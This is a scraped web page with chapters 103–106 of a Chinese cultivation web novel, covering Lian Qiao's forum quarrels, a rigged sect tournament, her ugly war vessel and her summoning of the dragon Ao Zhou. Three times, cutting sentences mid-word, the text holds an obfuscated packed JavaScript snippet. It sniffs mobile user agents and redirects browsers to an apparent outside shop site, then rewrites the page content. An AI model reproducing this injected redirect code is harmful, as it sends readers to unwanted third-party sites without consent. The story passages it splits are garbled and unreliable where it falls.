“啊,我还以为多大的事呢。”原本紧张兮兮的童元宝听完后松了一口气,“啊呦,又不是第一次失恋了,别难受,马上宗门大比结束后,就要招收新的弟子,到时候咱们再找,找一个比连乔还漂亮还有钱的。” 邵吴兴捂着脸,如同小山半高大的男人此时看上去那么脆弱,他声音恹恹,“不,这次不一样。” “什么不一样?你每次都说不一样。”童元宝继续吃饭,并且邀请邵吴兴一起吃,“来,吃点好吃的,吃完睡一觉,明天什么烦恼都没了。” 邵吴兴:“吃什么?” “这可是我从借酒楼刚买的热乎的饺子。”童元宝道,“以灵草和新鲜的灵兽肉制成,十几种馅呢,今日份特供,我托了人才买到的。” 邵吴兴又怔愣一下,背过身去,嘴里念叨着一些童元宝听不清的话。 什么“借酒楼啊……”,什么“好吃不过饺子,好玩……嫂子……”什么的。 童元宝:“?” 忽然,邵吴兴又是一捶落下,虽然那桌子是以山间梧桐青木制成,异常坚固,但是被力大无穷的邵吴兴捶了三下,此时已破败不堪,在童元宝眼疾手快端起桌上盘子的瞬间,它终于不堪重负,塌了。 童元宝崩溃了:“你抽风啊,你好好地跟我的饺子置什么气?哎,你干嘛去?吴兴!” 望着邵吴兴毅然决然离开的背影,童元宝觉得他这三师兄今日格外不正常,“这么晚了你要去哪?” “我要去练剑。”他说。 “什么!”童元宝大惊,“这么晚你上哪去练剑?” “我要努力练剑,成为云中峰第一人。”摸了他又模模糊糊说了句什么,“夺人所爱,不共戴天……” 童元宝手中的饺子还散着热气,但是一点也不香了。 他随手将盘子放在一边,掏出一颗辨魔珠,抬脚跟了上去。 近日乾元剑宗被魔人的事闹得人心惶惶人人自危,极有可能还有别人也中了魔毒。 化魔第一步,不受控制,胡言乱语。 这很符合邵吴兴现在的症状。 但是童元宝在邵吴兴身后用辨魔珠辨了许久,珠子始终保持黑暗,没有任何闪烁迹象。 不过魔人潜藏的方法很多,且在不断更新,现有的辨魔珠未必能发现所有的魔气,他得去师父那里找更高级的辨魔神器。 小胖子三两步进云中阁时,虞南子正在擦拭一个空了的剑匣,看到小徒弟气喘吁吁的模样,他温声问道,“怎么了元宝。” “师父,我要借双瞳之面一用。” “双瞳之面?”虞南子抬眼,“用来辨认魔气的,你要那个做什么?” “方才吴兴去找大师兄,顺便给连乔送些新鲜的鲜果零食,但是他回来就性情大变,说什么失恋了,要和师兄决一死战之类的胡话,我觉得他有点不对劲。”童元宝说,“师父,吴兴是不是入魔了?” 将徒弟们的一切小动作尽收眼底的师父:“……” 有没有一种可能,吴兴其实没什么问题,他就是单纯受到切开黑师兄给的一些刺激,所以才有这些奇怪的行为。 童元宝很着急,“师父,快借给我,我怕吴兴不行了!” 罢了,年轻人的事,随他们自己去折腾吧。 童元宝走后,云中阁又恢复安静,虞南子继续擦剑匣,那个剑匣已经很旧了,但是被保存得很好,破损处都被一一修补,放在架子上,像是一件珍贵的宝物。 在乾元剑宗待了几天,又经过大大小小多次检验,虽然过程不怎么让人愉快,但是在云中峰连进两阶,又听虞南子和迟星垂讲习,也算是受益良多。 周重啸一场意外,最后证实与梅远山无关,但毕竟人是他招过来的,即使与他无关,也免不了责罚。金珏从百丈河赶回来,考虑到这位大剑仙多年来对修真界的贡献,剑宗最后选择从轻处罚,暂时剥夺了梅远山天门峰峰主的身份,但仍保留他留在天门峰的资格。 对此连乔并没有什么异议,金珏常年驻守在百丈河,劳苦功高,虽然有个不着调的丈夫和现世宝的儿子,但有她在,就不可能对那两位家属有什么实质性的处罚。 而且是替罪羊嘛。连乔对梅远山没有兴趣,倒是周重啸背后真正的幕后黑手,让她很费解。 此时的连乔正在和系统闲聊,顺便用万机浏览关于此次大比的消息,且终于依靠买来的小号进入到冲虚学院的“名栏”,这是类似冲虚学院非官方论坛的地方,里面有许多学院学生的发言,还有一些热帖,如果涉及到敏感或者不合时宜的信息,还会被栏主删除。 刚滑过去的是一条投票贴——“此次大比究竟谁是热门夺冠选手”,下面有几个选项,玉箫声,王谈笑,年付光,徐渊……当然也有她连乔的名字,居然排在第十位,一个不高不低的位置。 帖子是实时更新的,原本上面还有邵灵和周重啸的选项,邵灵已经成为灰色,表明比赛失败已殉,而周重啸的名字已经消失,连上栏的资格都没有。 周重啸俨然成了一个忌讳,在搜索框搜“周重啸”三个大字,显示的也是“无相关内容”,当然也有关于周重啸的帖子,但大名不是周重啸,而是用了“炮仗精”来代替此人。 为何叫炮仗精,因为这人脾气暴躁一点就炸,就和炮仗一样。 “炮仗精背后可能的人是谁?”“梅峰主和炮仗精难道真的一点关系也没有吗?”“炮仗精的出现是意外,还是剑宗真的有内鬼?” 巴拉巴拉一堆,连乔一一点进去看了,大多是闲聊,没有什么营养的东西,她随后点了个“如果炮仗精没遇到连乔那个点炮仗专门气人的,会不会一直隐藏下去?” 连乔披着“你姐姐我是大佬”的马甲在里面回,【当然,连乔气人的能力首屈一指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032985|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般人点不动大炮仗。】 可爱符修一枚:【楼上你说得对,连乔毕竟是这修真界首屈一指的妖女,善于玩弄人心,一般人还真干不动周重啸。】 我拿二胡当剑耍:【那如果是别人来对周重啸,如果没有将他真面目撕下来,而是任由他进了剑宗,岂不是大事不妙?】 杨源:【这么说还真是,虽然连乔不是什么好人,但这次也算是做了一次好事。】 我身高十尺八:【也不能说连乔不是好人,其实我见过她本人几次,没有想象中那样傲慢无礼,人挺随和的,也不知道为什么一直传她刁蛮任性仗势欺人。】 爱吃苹果爱吃梨:【对对对,我在学院里和她一起上过几次课,她大部分都是一个人,并没有跟什么人眉来眼去七搭八搭,但总有人骂她作风不正经,也不知道从哪里传来的。】 马上追到大师兄:【而且她一直很努力,也不像传言中不学无术无所事事的样子。】 小师妹天下第一美:【见过她使剑,很猛,很凶,很飒,很漂亮,我很仰慕。】 求富婆一枚:【而且就算是不学无术无所事事也很容易理解,尚未成年时就继承子午谷,据说半个云来城以及五十个大铺子都是她的,我要是这样我也混。】 我内有乾坤:【我天楼上真的假的……借酒楼也是她的吗?】 求富婆一枚:【嗯……据小道消息……熹微楼也是。】 拂袖扫雪:【要这么说,我可就有点想去追求她了。】 锦绣河山:【可别吧楼上,你们又没和她真正接触过,可别被她真面目骗了,你们忘了她威胁云招摇的事吗,还在胧月秘境抢人东西偷偷栽赃嫁祸给云招摇,就这是你们口中的好人?】 史上第一剑修:【对,合着棍子没打到你身上,所以站着说话不腰疼,别太爱了好吧?】 【哎不是,不是讨论这次如果不是连乔,周重啸会不会进剑宗,会带来什么后果么,怎么又扯到连乔身上去了。】 【连乔:人在家中坐,祸从天上来。】 【来不就来么,骂她的人少了,这才认识她多久啊,都忘了她以前干的那些事吗?】 眼看着楼越来越歪,最后直接变成“讨厌连乔的”和“喜欢连乔的”双方大战,而且“讨厌连乔的”那一批慢慢占据上风,最后成为碾压态势,帮她说话的人越来越少,到最后噤声不见,而帖子越堆越高,各种词汇层出不穷,一直到管理员出现,将帖子封存。 本来在上面闲逛的连乔,缓缓地闭上眼睛,对系统说了个:“6……” 系统:“你真是热搜体质啊,这也能扯到你。” 连乔吐了一口气,又在另外几个帖子里看到自己的名字,又是涌出一大堆黑子,将她冲得体无完肤。 披着皮和对方骂了几个回合,连乔以一敌十的态度将对方一大片人压了回去,最后又是被封贴,还被禁止发言。 连乔在纸上写写画画,系统道,“你不去练习练习么,明日大比就要重新开始了。” “练习,且不说我现在是目前大比弟子中修为最高的一个,就现在这情况,你觉得我还很想进剑宗吗?”连乔停下笔,“你看看这群人,咬死了我不放,恨不得现在就将我碎尸万段。” “此处不留爷,自有留爷处,处处不留爷,爷自立门户。”连乔道,“再说了,乾元剑宗也不见得是个好地方,你以为呢,这次这事故,能和玉非缘没关系?” “先是邵灵,又是周重啸,摆明了要给我淘汰掉。”连乔道,“一淘汰我还能到哪里去,还不是得回子午谷?” “那你更要去了,你要查清楚谁和玉非缘有关系。”系统道,“这和害你后期不明不白坠魔的人很有关系哦,你不能放弃这个机会。” 连乔没有回,在“名栏”中被禁言后,万机也不能用了,她勾出了几个人的名字,用通灵符给南道发讯息,让他查一查那几个人背后是谁。 咋每个帖子稍微有人夸她一下,这几人就逮死了对方咬,一直到对方没了声响才作罢,这怎么这么像她的黑粉头子呢? “还有,很早以前有人在传我作风不正寡廉鲜耻,我找了一下,是这几个号,已经很久不用了,你也帮我查一下。” 南道说好,连乔又道,“还有,帮我查一下连云天这个人,传言里他没再多少人面前露过脸,你帮我找一下他的画像,顺便也让林叔去找画匠临摹一下我亲爹的画像。” 虞南子说她和连云天很像,连云天……连郎,这就没差把连云天是她爹这个消息拍在她脸上了。 104.第 104 章 转眼又是宗门大比。 经过上次意外,本次大比的热度不仅没有消减,反而空前热闹。 连乔过场的时候引来一阵高过一阵的欢呼,这让她有种自己人气很高的错觉。 白祺坐在露台上,鼻腔中哼出一声,“看得出来,她还挺嚣张的。” “运气真好啊,要是运气能够一直好,那才厉害呢。” “运气不好都没关系啦。”白花惊伸出头来,“连乔现在已经是合体期啦,她一个没入门的弟子都已经到了合体期,就算是大比输了,后期也会有长老亲自去挑选的,而且有合体期的能力在,别说在这里比赛了,再进几阶,她坐在那里都没什么问题。” 白花惊指了指裁判席。 白祺不说话了,左边的腮又微微抖动,白花惊抿了抿唇,觉得这很诡异,白祺最近的表现,总是让她很不舒服。 白花惊高兴地朝连乔招手,连乔也对她挥手,白花惊高兴地跳起来,她转过头对默非说,“默非师父,她看到我啦!” “我现在也已经筑基初期啦,默非师父,我要跟着你好好修行,等我再突破一些,下一次大比我也要这么威风!” 望着面前活泼又乐观的小姑娘,向来沉闷不语的默非勾了勾唇角,他说“好。” “嘿嘿。”白花惊重新坐下,往嘴里塞了一颗糖,这个是借酒楼的今日限定,是连乔托人特意给她留的,糖的味道很多样,有苹果味的,有蜜糖味的,还有石榴味的,她最喜欢的是橘子味。 “默非师父,你要吃哪一颗啊?”白花惊将糖包展开,三面狐将头伸过来,白花惊给它喂了一颗苹果味的,三面狐还要吃,白花惊有点急,将糖包往后藏,“没了没了,你已经吃了十颗了,一共就十六颗,你再吃默非师父就没有了。” 三面狐“吼”了一声,意思是默非不吃糖。 默非:“谁说我不吃?” 他将糖包收起来,“我都要了。” 三面狐悲伤低下了头。 等三面狐走远了,默非将糖包重新还给白花惊。 白花惊愣神,“给我吗?” “既然你叫我师父,总不能让那家伙一直抢你的东西吃,你又抢不过它。”默非从里面挑出一颗橘子味的,“这个就当作我帮你抢糖的谢礼了。” 默非坐在位置上,安静地望向远处,白花惊坐在他身后,他高大的身材和宽大的袍子帮她遮挡住刺眼的阳光,坐在阴影处的小姑娘眨了眨眼睛,橘子味的糖果化在舌尖,酸酸甜甜的,有种很奇怪的感觉。 “这次抽签还同上次一样,原本剩九十人,一人弃权,余八十九人,还剩按照一比一对弈,最后有八十八人相互对弈,赢者留下及余下落单的一人自动参加下一轮比赛,最后是四十五人入第二轮。”李长淮简单介绍了比赛的规则,又问大家有没有疑问,一切完成后,他道,“那开始本次抽签。” 将刻有姓名的标签全都放进去,由主裁判分别抽取对弈的二人。李长淮道,“这次还是我来抽签吧。” 他刚要伸手入签筒,虞南子道,“长淮兄,我可以试试么?” 李长淮掀起眼皮看他。 “我素日里不在剑宗,很少参加大比这样的活动,对赛程很感兴趣。”他抬起签筒,来回摇动两下,“不如这次让我来,其他几位裁判来监督,也是让我更快了解各位参加大比的选手。” 他笑盈盈地望着李长淮。 李长淮枯瘦的手收了回去,半晌后笑道,“当然可以。” 抽签共分为两阶段,第一阶段抽取抽签号,第二阶段按照抽签号来抽取对手,共有四十四对相同的签号,持相同签号者参与比试,而余下抽到单签的自动进入下一轮。 虞南子按中抽签箱,抽签自动为参赛选手抽取对手,抽签结束,被叫到名字的依次签字确认,连乔等了八十八个也没有等到自己的名字,直到虞南子念出第八十九号选手,连乔。 “根据比赛规则,最后落单选手不需比赛即可自动晋级。”虞南子对连乔笑道,“恭喜你,连乔。” 这泼天的富贵说落在她头上就落在她头上,连乔简直不可置信,她甚至有点怀疑这不是真的,“我能有这么好的运气?” “运气也是实力的一种。”虞南子请连乔在确认契书上签字,又道,“就算不比实力,以你现在的能力,乾元剑宗有长老想提前挑选你入门,你也是有资格的,大比只是一个流程。” 连乔大大方方签上自己的名字,向虞南子道了一声谢,回头上露台上看其他选手比赛。 不得不说,观赛和比赛时的心情完全不同,三面狐给连乔撑伞避开刺目的阳光,连乔仰躺着,颇有度假的悠闲。 怎么说,躺赢。 就这样躺到了第二轮。 第二轮共余下四十五人,目前无人弃赛,都准备第二轮剑宗的挑选。 剑宗挑人也有四场,不为淘汰制,按照积分来,每轮总分十分,按照表现可适当加分,但每轮加分不超过五分,最后按照总分来合计。入宗挑选排名前列的选手,具体选手人数也按照当年选手质量来定夺。 裁判席之后。 李长淮来回踱步,玉非缘再次联系上他,仍旧是通讯符,也还是阴阳怪气,“这事情办得真有意思,我甚至都怀疑你这吉照峰峰主的位置是买来的了。” 又加一句,“哦,不是怀疑,本来就是我帮着出资了一部分。” “少说废话,我怎么知道这次梅远山下场后,替上来的是虞南子?”这不仅让李长淮没想到,其他几人也十分震惊。虞南子向来不喜欢插手剑宗事务,对冲虚学院的琐事更是不屑一顾。 这次据说是他主动请缨,也不知道他是发了哪门子疯。 又或者是,虞南子是不是发现什么了? 不可能,这么长时间,李长淮向来处理得很干净,从来都没有留尾巴,就比如这次拿梅远山挡在前面,不会有人查到他头上。 那一端却又是冷笑一声,“蠢货。” “我知道你不聪明,还总是惹自己惹不起的人。”玉非缘说话慢慢地,在李长淮一头雾水时对他道,“周重啸的事你不用再管了,我会帮你收拾好,另外,以后栽赃也离梅远山远点,别怎么死的都不知道。” 梅远山,那个现世的吃软饭的东西? 死什么死? 李长淮还要再说什么,玉非缘打断他,“第一轮连乔过关便算了,我就当是个意外,第二轮别再出现意外。” 第一轮全程公开,又都是选手自相评比,在其中能使的手段少。第二轮比赛共四场,全是由在场的五位裁判代替乾元剑宗抽题,可操作的空间非常大,将连乔排出去那是迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042882|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早的事。 李长淮坐回裁判席,终于是开始第二轮第一场比赛。 李长淮宣读比赛规则后,开始抽第一场比赛试题。第一场比的是符咒攻击,不仅要比画符数量,还要比符箓攻击和防御力量,在场的符修欢呼雀跃,比画符,那他们当然是占据先锋优势。 连乔开始用心画符。 她修行时间不长,主要为修剑和练气,不过前几天在乾元剑宗无聊,看过迟星垂画符。迟星垂画符很快,且下笔有力,她有一支小笔,便也跟着学。 说好人迟星垂算不上,但是称得上是好师父,教人学习修行非常用心,他知道她喜欢学各种各样的东西,从不藏私,也不吝啬于教她。 迟星垂说,画符与布阵相同,最重要的是平心静气。 连乔沉下心来坐在桌前,根据记忆来模仿迟星垂画的符。 一边画符一边往符咒内部输送灵力。 比起画符手法与口诀,连乔确实比不过比她入门早的前辈,但是她的优势在于修为高,目前她在这群弟子里面修为是最高的,而且装备的灵石也非常充足。 一边画符一边往里面灌灵力,她没有考虑符咒与灵力的适配度,因为这玩意儿她掌握不好,她能做的就是往里面灌到符咒放不下为止。 每一个符咒都是如此,一直到比赛结束。 比赛按照符咒数量、攻击力和防御力三个方面分别评分,连乔的符箓画得不是最好,但是灵力续航厉害,有自己的特点,画符基础分八分,加分两分,最后得十分。 第二轮比的是炼器,且是命题比赛,炼制出能够集远程攻击、近程攻击以及防御为一体的保命神器。 这次轮到器修欢呼雀跃了。 连乔:淦! 怎么每次都出这么偏的题。 远程攻击、近程攻击于一体,还要有防御功能? 她虽然有思路,但苦于不知道怎么下手,眼看着同门的作品都慢慢出炉,连乔这才铺开纸张写写画画,最后将一堆天材地宝一骨碌全倒进巨大的炉鼎中,又牵动灵力加大火力炼制,终于在铃响前的最后一刻,从炉子里掏出一个巨大的黑乎乎的看上去像房子一样的东西。 连乔跳上去在里面操作几下,那黑乎乎的东西长了脚一样往前拱,但是仔细看又不是脚,而是一圈链条装裹好的滑轮。 李长淮面色扭曲,“你这什么鬼东西?” “轰!” 一炮射出,大地轰出一个巨大黑洞,李长淮头上的头发也烧糊了,一说话嘴里还冒烟,他呛了几口气,“连乔你在干什么,你这什么丑东西?你要谋杀裁判吗?” “海陆一体重型黑光飞舟。” 这其实是仿着迟星垂那辆银辉飞舟造的,她本想做一个银辉那般轻盈又坚固的作战神器,但无奈动手能力太差,想做的和做得完全事两个东西,这家伙不仅重飞不起来,还异常之黑,黑得像碳一样发光发亮。 她用的都是顶好的材料,这等材料基本能锻造出天级法宝,但是在她手中有点暴殄天物,好在炼制出的东西虽然丑,但是功能在的,非常好用。 李长淮还在骂她,说她简直给器修丢人,义愤填膺说,“我要给你打零分!” 什么,零分? 连乔操纵着黑光炮弹要对着李长淮轰,“你再说要给我打几分?” 105.第 105 章 李长淮望着那黑乎乎的炮口,心中一惊,“你这是要干什么,你要欺师灭祖?” “第一,我没有拜入乾元剑宗,第二,就算我拜入乾元剑宗也不会选你做师父的,我这算哪门子欺师灭祖?” 连乔拍拍自己精心炼制的硕大飞舟的舵盘,飞舟接受主人指令,非常灵活地朝着李长淮的方向缓缓摇去。 虽然摇得四平八稳,但是这么黑乎乎奇形怪状的椭圆形战斗飞舟,怎么看怎么别扭。 “你那些材料扔进去,换个普通人也能造出极好的宝贝。”李长淮非常轻蔑地“嗤”了一声,“正常的器修都有非常高端的审美,就算是手残,也残不到你这个程度。” “手残,哪里残了?”连乔坐在船长室内,抱着胳膊遥遥俯视李长淮,她重复他方才宣布的评分标准,“此次炼器,评分标准有三,一为远攻之精准,二为近攻之迅猛,三为防御之坚固——李长老,你自己说说,我哪一点差了?” “丑啊!”李长淮道,“就算评分标准里没有对法器形状提出要求,你就可以不考虑了吗?” “对啊。”连乔非常坦然地点头。 “太过功利!”李长淮冷声道,“法器也要有法器的尊严,你只知道得高分,炼制出这么个鬼东西,简直是对法器的侮辱。” 连乔笑了笑,“长淮长老,您的意思是外形也要分三六九等,你就因为我的小黑没有常规法器那么精致,就觉得我不配拿高分吗?” 她“嘶”地吸了一口气,“那我觉得凭你的外貌,也要扣分,配不得这裁判长的位置。” “而且说实力,虞南子长老不输给你,论性格,虞长老不像您这么一惊一乍,论长相么……”连乔给了个意味深长的表情,“那这么说,你现在咋能坐主位呢?” 李长淮:??? 终于知道周重啸当初被气疯了是什么感觉了,李长淮只觉得这丫头刁钻傲慢,嘴皮子溜得很。 他冷笑,“简直是口出狂言目无尊长,居然拿毫无生命力的器物与本长老对比。” “哎不是。”连乔举起双手,“我没有对比啊,而且你说的嘛,法器也要有法器的尊严,现在怎么又成死物了,长淮长老,您贵为长老,可要对说过的话负责啊。” 连乔敛住笑意,目光沉沉,“还是那句话,题目要求是从三方面来对炼制出的法器进行评分,扣分要给我理由,要是因为我的东西丑要给我低分,我不认。” 面对李长淮的故意刁难和为难,连乔并不气恼,她抱着胳膊,冷静地俯视一切。 说嚣张是真嚣张,说直白也是真直白,连乔这模样简直和连云天一个模子刻出来的。 一边的虞南子忽然笑道,“当然不会,我倒是觉得这黑……黑飞舟,有点儿意思。” 连乔:“您真有眼光。” 虞南子很牵强地笑了笑。 虽然连乔炼制的法器长得丑,但是按照评分规则,确实没有哪里有漏洞,甚至还有引申的功能——这飞舟的材质加了无妄海海底黑曜石与东极仙岛的轻羽,也能在空中飞行(但是太笨重飞不高也飞不远),也可以在水中航行(会因为太重超载沉船),但这都是额外的功能,不是器修,能将作品打造成这个完美度,已经很不错了。 在基础分上,虞南子给出十分,并且额外给了一分出彩分。 除了李长淮,其他几位都在十分的基础上扣了半分,并给予半分加分,如此一平,拿到十分。 但李长淮看上去真的很想打零分。 连乔坚决拥护“去掉一个最高分,去掉一个最低分”这种简单粗暴的计分方式,这种方法能坚决抵制李长淮这种极端人物之存在。 李长淮盯着连乔,连乔也盯着他,一直坐在左右边的虞南子换了个舒服的姿势,出声道,“长淮兄这是怎么了,怎么脸色看上去不太好?” 严青山:“看上去是不太好。” “长淮老儿你不会是被气得吧,你这肚量还真不大,犯得着跟一个丫头计较么?”鬼无牙秉承着向来说话不会惯着谁的习惯,怼天怼地。 这倒是逗笑了元常月,清冷矜贵的剑修女子摇了摇头,“这倒也不至于吧?” 李长淮冷着脸,“没有。” 最终他给了八分,因为从远攻近攻以及防御三层面来说,黑光飞舟确实无懈可击。连乔不是专门器修不会调节炼制的火候,如果将轻羽功能放置最大,再重新减轻黑曜石的配比,就可以打造一款海陆空三用战斗飞舟。 这些在后期也可以让懂行的器修来修改。 扣的两分也是强行扣的,给出的理由是飞舟太丑,以及连乔德行有亏不尊师重道。 引来一阵喝倒彩的声音。 “不是啊,都说了从进攻和防御方面来评分,一开始就没有将法器形状考虑进扣分范围内啊。” “而且说实话,也不算很丑,尤其是连乔坐在飞舟上转一圈,还朝大家挥手的模样。” “喂你别搞错了行不行,那是因为连乔长得漂亮所以拉高了飞舟的层次,有一说一,丑就是丑,没得说,黑飞舟是真丑。” “同意,根本不像飞舟,像我小时候玩泥巴随便堆起来的土坯房,又扭又歪。”穿剑宗统一制式弟子服的人说道,“还不如我玩泥巴做的呢。” “又回到起点去了,评分标准里有丑要扣分这一项吗?”另一位穿着同样弟子服的人道,“其他长老都是象征性地扣了半分,然后加分又给补回去,就长淮长老一直揪着不放。” “哎,长淮长老是不是和连乔有仇啊?我经常看到他为难连乔。”背上背着一把二胡的音修弟子道,“之前我在学院听课,长淮长老故意给连乔穿小鞋。” “别说长淮长老了,他那几个徒弟和连乔也不对付啊。那位云招摇,上次在周重啸那件事里不是给连乔锁捕兽网里了,还不承认……” 一堆人议论纷纷,音修弟子还要再说,旁边的人拉住她。 “有些空穴来风的东西就不要说了,我们已经解释过,当时在忙着救人,根本没听到连乔的求救。” 白祺冷脸从旁边走过,顺便翻了个白眼,“有那时间嚼舌根,还不如多去拉两把二胡,在外卖艺也能得点赏,都比在这八卦好。” 等白衣女子走过去一段路了,清秀的音修才缓过神,“哎这人怎么说话的呢?” 李长淮垮着脸,第二轮比赛在大家叽叽喳喳的议论声中结束。这两项连乔都不是最出彩,但是凭借她的机智以及财大气粗的炼器方式,两项都拿到了不错的分数,综合起来,目前排到了第二,这还是在她最不擅长的领域。 如果真比到了她擅长的剑术、结阵以及纯近战这几项,她绝对会追平所有人,一举夺得头魁。 看着那张熟悉的飞扬跋扈的脸,李长淮的胸腔中就充斥着一股不甘。 有一个声音同他说“一切都过去了,和一个女娃计较些什么,她又不是她爹”,另一个声音又在煽风点火“果然啊,和她爹一样嚣张,连长相和气势都那么像,总想往那烧得正旺的火上泼一层冷水。” 两个声音打架,越吵越大声,到后来都压不住,李长淮觉得又要生出新的心魔来了。 第三轮比赛仍旧是从乾元剑宗比试的试题库中抽签,抽中的是“御兽术”,修真界中,修此术最强的便是乾元剑宗无涯峰的鬼无牙,而作为裁判,鬼无牙正坐在裁判席上,望着下面那一群看上去都没什么御兽天赋的新兴弟子。 原本入第二轮中的有四十五人,此时只剩下四十人,放弃的五人在前两项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049972|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比赛中都是垫底分,就算后面突飞猛进拿到了高分,也追不平前面丢的分,索性放弃不比。 当然也有低分但是仍然坚持下来的弟子,也不是对后期反超抱有期望,毕竟来都来了,进宗门大比第二轮比试不容易,在这里感受一下考试氛围也不错,说不定有手感了,还为明年再入围打好基础。 连乔盘腿坐在地上,面前堆着厚厚一叠古书,有《召唤术》《御兽大全》《三百三十七种古瑞兽》这种高阶御兽书,也有《御兽:从入门到精通》《一招御兽必成功》这类快速入门书。 接触过御兽且御的是自己灵兽,从来不需要指令,凭借她一个眼神就知道她要作什么妖的三面狐就端坐在露台上,咧大了嘴一脸崇拜地看着她。 在三面狐眼中,连乔非常优秀,做什么都是最棒的! 此时它那最棒的主人正愁容满面,对着那一堆书翻了又翻,在想要不要做个弊或者是使用隔空术将三面狐传过来,但假装是召过来的猛兽,和别人对打? 三面狐这个级别的,绝对只赢不输。 不行啊,三面狐人气太高,平常露面次数又多,大家都认识它,请它过来帮忙一看就知道是作弊。 怎么会抽中这么偏的题哦。 不止是连乔,其他人也非常愁苦。修真界最强的御兽术在乾元剑宗,最大的御兽世家是北域同家。同家一家独大,拢了大部分高级灵宠。 灵兽价格昂贵,普通灵兽动辄上万灵石,而高阶的则要十万、百万甚至是千万灵石,像三面狐那种的更是有价无市,几乎不可能买到。 就连同月那等同家大小姐,在失了契约灵兽后都没有找到合适的新的灵宠,更别提普通的修士了。 御兽,是个高投入低回报且非常烧钱的技能,平常修士基本只是辅修,很有专攻。 而且剑宗,基本就没出过御兽这等题,也不知道今年怎么突然加进去的。 但这也可以解释,修行路上会遇到各种威胁,也会遇到各种机缘,经常性更新题库也是提高修士修行的灵活性。 修行时间并不长的连乔翻完了书,又薅了一把头发,觉得头秃。御兽这种冷门课程接触很少,会一些但是不精通,如果强行召唤,不知道会召出什么样的灵兽,也不知道强不强。 不过好在大家在这项上都有欠缺,唯一得分比较高的那位农修前两项比赛的分都不高,三项分加在一起刚好和连乔前两项总分持平,其他人也基本上只拿了个完成分,都不出彩。 轮到连乔了,她想了想,还是死马当活马医,按照之前在课上学的召唤术,首先在地上画一个阵法,接着将指尖血滴进召唤阵中间,灌入灵力,闭眼与阵法共鸣…… 眼前不是黑暗而是一片虚空,虚空中有一道黑影,黑影原本很远,她冲过去想抓它过来,但是越追对方跑得越快,追了三天三夜也没有追上,连乔力竭坐在地上,崩溃朝它大喊,“大兄弟,别跑啊,能不能帮个忙啊?” 那黑影突然停下脚,似乎转过身来看着她,然后不可置信地揉了揉眼睛,远远跑过来。 在黑影离她很近的时候,连乔一把薅住它,拼命把它往回拉,“姐姐,大哥,好兄弟,先帮我个忙,事成之后我给你送灵石献好礼行不行。” 猛地将黑影往外一带,连乔缓缓睁开眼。 面前青光闪烁砂石翻滚,地上的阵法被狂风吹平了,还把旁边的同门们吹得东倒西歪。 大家都停下了手,转过头来望着连乔以及连乔召唤出的东西,张大了嘴可以塞下三个鸡蛋。 连乔一抬头,望着盘亘在头顶云层中的巨大黑影,也是一愣。 这是召了个什么东西? 而那黑影似乎自来熟,看见她挺兴奋,“又见面了,连乔。” 106.第 106 章 有一个东西盘亘在头顶之上,遮云蔽日,明明方才还是艳阳高照,阳光普照大地,转眼间光辉被挡住,整个比试云台也在一瞬间黯淡下来。 头顶上的青光透过云层的缝隙撒在周边,泛出瑰丽的、一看就知道非常了不起的光。 有两只灯泡一样透亮的眼睛激光一样从云层里往外看,等了半晌看连乔没有反应,干脆把头伸出来。 一条威风凛凛的青龙,头长双脚,双瞳赤彤,身如长蛇,面如巨鳄,腮盖如银,鳞片清透,长有百尺,悬于天空之上,目光灼灼。 这条青龙浑身散有祥瑞之气,已然飞渡成功,这已经不是灵兽级别了,这召出来,得是债主级别的。 债主盯着她,她也盯着债主,一人一龙面面相觑,半晌连乔出了声,“你……认识我?” 此话一出,那青龙更是昂首挺胸,他声音低沉,“你不认识我了?” “你不认得我自然正常,我已成功飞渡,如今已是仙身,再不是从前那任人宰割的无名青蛟。” 可能是隔得远的缘故,这声音异常空灵,但又十分熟悉,连乔不太确定,“敖周?” “是我,连老板,这次你找我何事?” 连乔:“……” 原本以为自己本轮比赛必然要垫底,但无意中召来一个大佬,这是一种什么体验? 连乔简直想捶胸顿足。 想来是因为敖周欠她三个愿望没有完成,所以二人之间有某种契约联系在,她在布召唤阵法时无意触发了契约,之前在混沌中看到的黑影也是敖周。 敖周居高临下将周围扫视一眼,“连老板,许久未见,你变得更漂亮了。” “本尊已位列仙班,但仍未有结契仙侣,我看你骨骼清奇天赋异禀,不如就做我道侣与我双修,以本尊身份以及能力,必然能将你带飞,你也少走许多弯路。” 连乔:“……” 都道龙性本淫,这话说得一点没错,大庭广众之下也能说出如此不要脸的话,如果可以连乔非常想直接甩给他两个大嘴巴子。 “你不用这样看我,只有你听得见我说话,你与我之间有契约相连。”敖周道,“你要不考虑考虑,本尊也是为你好。” “不用,我怕我吃不消。” 敖周“嗤”一声笑,“可能会。” 